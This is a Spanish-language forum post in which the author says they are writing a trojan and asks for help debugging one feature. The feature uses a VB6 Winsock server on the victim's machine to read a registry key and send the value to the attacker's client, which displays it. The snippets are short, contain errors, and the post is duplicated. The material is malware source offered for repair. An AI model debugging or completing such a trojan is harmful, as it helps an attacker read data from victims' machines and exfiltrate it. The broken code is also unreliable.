ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox aki va el code
----------en el server-------------
.-----en el cliente-------
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería
gracias de antemano
----------en el server-------------
Código [Seleccionar]
If Left(datos, 2) = "hk" Then
Dim ind As Object
Set ind = CreateObject("WScript.Shell")
Dim tmp As String
tmp = wsh.RegRead datos
ws.SendData "2020" & tmp
End If
.-----en el cliente-------
Código [Seleccionar]
if left(datos , 4 ) ="2020" then
datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería
gracias de antemano